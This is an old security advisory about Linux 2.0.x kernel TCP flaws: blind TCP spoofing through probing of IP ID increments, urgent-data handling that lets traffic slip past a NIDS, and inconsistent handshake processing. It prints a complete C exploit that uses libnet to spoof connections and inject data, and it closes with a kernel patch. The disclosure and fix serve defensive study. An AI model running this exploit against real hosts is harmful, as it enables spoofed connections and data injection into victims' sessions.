COMMAND

    kernel

SYSTEMS AFFECTED

    Linux 2.0.x

PROBLEM

    Nergal  found  following.   Thanks  to  libnids  development, some
    features/bugs  in  Linux  kernel  were  found.  He notified kernel
    mantainers in May, but they didn't seem interested.

    Blind TCP spoofing against 2.0.36/37
    ====================================
    Let's label  a Linux  server as  A, an  attacker's host  as B, the
    spoofed host as C. If the following conditions hold:

	a) C is down (disabled)
	b) A is idle; more  precisely, during the attack A  should not
	   send any packets beside  ones generated in response  to the
	   packets sent by B
	c) during  the  attack,  no  packet  sent  from B to A can  be
	   dropped by a router

    then an attacker can spoof a TCP stream connecting A and C.  As we
    see, these  conditions are  not trivial.   However, b)  and c) can
    hold if an attack is conducted during low network traffic  period;
    and there are ways to fulfill a).

	Firstly, let's have a look how Linux 2.0.x reacts to a non-typical
    TCP segment sent as a third  packet of a three way handshake.   In
    the example below  we send to  a Linux server  (A) packets from  B
    with source address set to C.

    Time        packets with forged source address    packets sent by the server
    0             flags=S,seq=X
    1                                              flags=SA,seq=Y,ack_seq=X+1
    2             flags=A,seq=X+1, ack_seq=Y-1000
    3                                                no packet generated !
    4             flags=A,seq=X+1,ack_seq=Y+1000
    5                                               flags=R,seq=Y+1000
						    a packet IS generated !
    6             flags=A,seq=X+1,ack_seq=Y+1
    7                                               flags=A,seq=Y+1,ack_seq=X+1
					     socket enters "established" state
    8             flags=A,seq=X+1,ack_seq=Y+1000
    9                                                no packet sent !

    So, when an attacker sends (as a third packet of tcp handshake)  a
    packet  with  too  small  ack_seq,  the  server  sends  no packets
    (doesn't it violate RFC793 ?).  When a packet with too big ack_seq
    is sent, the server sends a packet (with a reset flag).  Now let's
    recall another Linux feature.  Many OSes (including Linux)  assign
    to ID  field of  an outgoing  IP datagram  consecutive, increasing
    numbers (we  forget about  fragmentation here;  irrelevant in this
    case).   That enables  anyone to  determine the  number of packets
    sent by host A: it's enough to ping it, note the value of ID field
    of received  ICMP_REPLY packet,  wait x  seconds (or  perform some
    other actions), then again ping host A.  The difference between ID
    fields of received ICMP_REPLY packets  is equal to (the number  of
    packets sent  by A  in x  second) +1.  "Idle portscan"  by antirez
    uses this technique.

    Having sent an initial TCP segment with SYN flag, our attack  will
    consist of a set  of "probes". In each  probe, we send a  (forged)
    TCP packet with flags=A and (arbitrary) ack_seq=X, then we send an
    ICMP_ECHO  request,  and  finally  note  the  ID field of received
    ICMP_REPLY packet.   If this ID  field has incremented  by 1 since
    the last time, only one  packet were sent by server  (ICMP_REPLY),
    so we  must have  chosen too  small X  (that is,  ack_seq).  If ID
    field has incremented by 2,  two packes were sent (TCP  with reset
    flag and  ICMP_REPLY), so  we must  have chosen  too big  ack_seq.
    This way  we can  perform a  binary search  in space of ack_seq's,
    determining exact  ack_seq after  at most  32 probes.   Note  that
    finding correct ack_seq  can be verified  by sending a  probe with
    previously  found   too  big   ack_seq;  if   connection  is    in
    "established" state, no packet will be generated by server.

    After we have found the Holy Graal of blind spoofers, the  correct
    value of  ack_seq, nothing  will prevent  us from  completing 3whs
    and sending arbitrary data.

    An exploit  follows; don't  use it  without the  permission of the
    target host's admin.  It was tested on 2.0.37, 36 and 30; probably
    all  2.0.x  are  affected.   It  requires  libnet  (which  can  be
    downloaded  from  www.packetfactory.net).   Nergal  compiled it on
    Linux glibc system.  Exploit is located below.

    A byte of urgent data can be received in normal data stream
    ===========================================================
    Let's consider the following scenario:

    Time              Client app             Server app
    0                                     bind(...), listen(...), accept(...)
    1                 connect(...)
    2                                     accept(...) returns newsock
    3      send(sockfd,"AB",2,MSG_OOB)
    4      send(sockfd,"XY",2,MSG_OOB)
    5                                     n=read(newsock,buffer,1024)

    Function read  returns 3, buffer contains  "ABX", though  byte 'B'
    was marked  as  urgent.   Verified  with  2.0.37  and   2.2.9-ac1,
    probably all versions are  vulnerable.   Note that  this behaviour
    can be exploited to bypass NIDS.

    Weird handling of 3rd stage of TCP handshake
    ============================================

    Time        packets sent by a client        packets sent by a server
    0          flags=S,seq=X
    1                                         flags=SA,seq=Y,ack_seq=X+1
    2 flags=A,seq=X+1,ack_seq=Y-4,data="xyz"
    3                                        flags=A,seq=Y+1,ack_seq=X+4
					       no data is returned to app
    4                                        flags=SA,seq=Y+1,ack_seq=X+4
    5 flags=A,seq=X+1,ack_seq=Y+1,data="1234567"
    6                                        flags=A,seq=Y+1,ack_seq=X+8
					      app receives "4567"

    Which is inconsitent.  Either the packet sent in time 2 should  be
    discarded and app should receive "1234567", or app should  receive
    "xyz4567" .   Verified on 2.0.36,  2.2.x behaves correctly  (sends
    reset  in  time  3).   Usually  it  is  not  a  problem,  but  IDS
    developers can be worried.

    And now the exploit:

    /* by Nergal */
    
    #include "libnet.h"
    #include <netinet/ip.h>
    #include <netdb.h>
    int sock, icmp_sock;
    int packid;
    unsigned int target, target_port, spoofed, spoofed_port;
    unsigned long myaddr;
    int
    get_id ()
    {
      char buf[200];
      char buf2[200];
      int n;
      unsigned long addr;
      build_icmp_echo (ICMP_ECHO, 0, getpid (), 1, 0, 0, buf + IP_H);
      build_ip (ICMP_ECHO_H, 0, packid++, 0, 64, IPPROTO_ICMP, myaddr,
	        target, 0, 0, buf);
      do_checksum (buf, IPPROTO_ICMP, ICMP_ECHO_H);
      write_ip (sock, buf, IP_H + ICMP_ECHO_H);
      do
        {
          n = read (icmp_sock, buf2, 200);
          addr = ((struct iphdr *) buf2)->saddr;
        }
      while (addr != target);
      return ntohs (((struct iphdr *) buf2)->id);
    }
    
      static int first_try;
    
    
    int
    is_bigger ()
    {
      static unsigned short id = 0, tmp;
      usleep (10000);
      tmp = get_id ();
      if (tmp == id + 1)
        {
          id = tmp;
          return 0;
        }
      else if (tmp == id + 2)
        {
          id = tmp;
          return 1;
        }
      else
        {
          if (first_try)
	    {
	      id = tmp;
	      first_try = 0;
	      return 0;
	    }
          fprintf (stderr, "Unexpected IP id, diff=%i\n", tmp - id);
          exit (1);
        }
    }
    
    void
    probe (unsigned int ack)
    {
      char buf[200];
      usleep (10000);
      build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, 0, 0, buf + IP_H);
      build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
	        target, 0, 0, buf);
      do_checksum (buf, IPPROTO_TCP, TCP_H);
      write_ip (sock, buf, IP_H + TCP_H);
    }
    
    void
    send_data (unsigned int ack, char *rant)
    {
      char * buf=alloca(200+strlen(rant));
      build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, rant, strlen (rant), buf + IP_H);
      build_ip (TCP_H + strlen (rant), 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
	        target, 0, 0, buf);
      do_checksum (buf, IPPROTO_TCP, TCP_H + strlen (rant));
      write_ip (sock, buf, IP_H + TCP_H + strlen (rant));
    }
    
    void
    send_syn ()
    {
      char buf[200];
      build_tcp (spoofed_port, target_port, 1, 0, 2, 32000, 0, 0, 0, buf + IP_H);
      build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
	        target, 0, 0, buf);
      do_checksum (buf, IPPROTO_TCP, TCP_H);
      write_ip (sock, buf, IP_H + TCP_H);
    }
    
    #define MESSAGE "Check out netstat on this host :)\n"
    
    
    void
    send_reset ()
    {
      char buf[200];
      build_tcp (spoofed_port, target_port, 4 + strlen (MESSAGE), 0, 4, 32000, 0, 0, 0, buf + IP_H);
      build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
	        target, 0, 0, buf);
      do_checksum (buf, IPPROTO_TCP, TCP_H);
      write_ip (sock, buf, IP_H + TCP_H);
    }
    
    
    #define LOTS ((unsigned int)(1<<30))
    main (int argc, char **argv)
    {
      unsigned int seq_low = 0, seq_high = 0, seq_toohigh, seq_curr;
      int i;
      char myhost[100];
      struct hostent *ht;
      if (argc != 5)
        {
          printf ("usage:%s target_ip target_port spoofed_ip spofed_port\n", argv[0]);
          exit (1);
        }
      gethostname (myhost, 100);
      ht = gethostbyname (myhost);
      if (!ht)
        {
          printf ("Your system is screwed.\n");
          exit (1);
        }
      myaddr = *(unsigned long *) (ht->h_addr);
      target = inet_addr (argv[1]);
      target_port = atoi (argv[2]);
      spoofed = inet_addr (argv[3]);
      spoofed_port = atoi (argv[4]);
      sock = open_raw_sock (IPPROTO_RAW);
      icmp_sock = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP);
      if (sock <= 0 || icmp_sock <= 0)
        {
          perror ("raw sockets");
          exit (1);
        }
      packid = getpid () * 256;
      fprintf(stderr,"Checking for IP id increments\n");
    first_try=1;
      for (i = 0; i < 5; i++)
      {
        is_bigger ();
        sleep(1);
        fprintf(stderr,"#");
      }
      send_syn ();
      fprintf (stderr, "\nSyn sent, waiting 33 sec to get rid of resent SYN+ACK...");
      for (i = 0; i < 33; i++)
        {
          fprintf (stderr, "#");
          sleep (1);
        }
      fprintf (stderr, "\nack_seq accuracy:");
    first_try=1;
      is_bigger();
      probe (LOTS);
      if (is_bigger ())
        seq_high = LOTS;
      else
        seq_low = LOTS;
      probe (2 * LOTS);
      if (is_bigger ())
        seq_high = 2 * LOTS;
      else
        seq_low = 2 * LOTS;
      probe (3 * LOTS);
      if (is_bigger ())
        seq_high = 3 * LOTS;
      else
        seq_low = 3 * LOTS;
      seq_toohigh = seq_high;
      if (seq_high == 0 || seq_low == 0)
        {
          fprintf (stderr, "Non-listening port or not 2.0.x machine\n");
          send_reset ();
          exit (0);
        }
    
      do
        {
          fprintf (stderr, "%i ", (unsigned int) (seq_high - seq_low));
          if (seq_high > seq_low)
	    seq_curr = seq_high / 2 + seq_low / 2 + (seq_high % 2 + seq_low % 2) / 2;
          else
	    seq_curr = seq_low + (unsigned int) (1 << 31) - (seq_low - seq_high) / 2;
          probe (seq_curr);
          if (is_bigger ())
	    seq_high = seq_curr;
          else
	    seq_low = seq_curr;
          probe (seq_toohigh);
          if (!is_bigger ())
	    break;
    //      getchar();
        }
      while ((unsigned int) (seq_high - seq_low) > 1);
      fprintf (stderr, "\nack_seq=%u, sending data...\n", seq_curr);
      send_data (seq_curr, MESSAGE);
      fprintf (stderr, "Press any key to send reset.\n");
      getchar ();
      send_reset ();
    
    }

SOLUTION

    The following  simple patch  (against 2.0.37)  enforces sending  a
    reset in response to a  packet with too small ack_seq  (of course,
    only when we are  in SYN_RECV state).   This patch also cures  the
    bug described in point 3:

    --- linux-2.0.37/net/ipv4/tcp_input.c.orig      Fri Jul 23 17:25:14 1999
    +++ linux/net/ipv4/tcp_input.c  Fri Jul 23 17:29:43 1999
    @@ -2764,7 +2764,18 @@
		    kfree_skb(skb, FREE_READ);
		    return 0;
	    }
    -
    +
    +        if (sk->state==TCP_SYN_RECV && th->ack && skb->ack_seq!=sk->sent_seq)
    +        {
    +                /*
    +                 *      Quick fix to detect too small ack_seq
    +                 *      in 3rd packet of 3ws and force a RST segment.
    +                 */
    +                 tcp_send_reset(daddr, saddr, th,sk->prot, opt, dev,0,255);
    +                 kfree_skb(skb, FREE_READ);
    +                 return 0;
    +        }
    +
     rfc_step6:
	    /*
    	 *      If the accepted buffer put us over our queue size we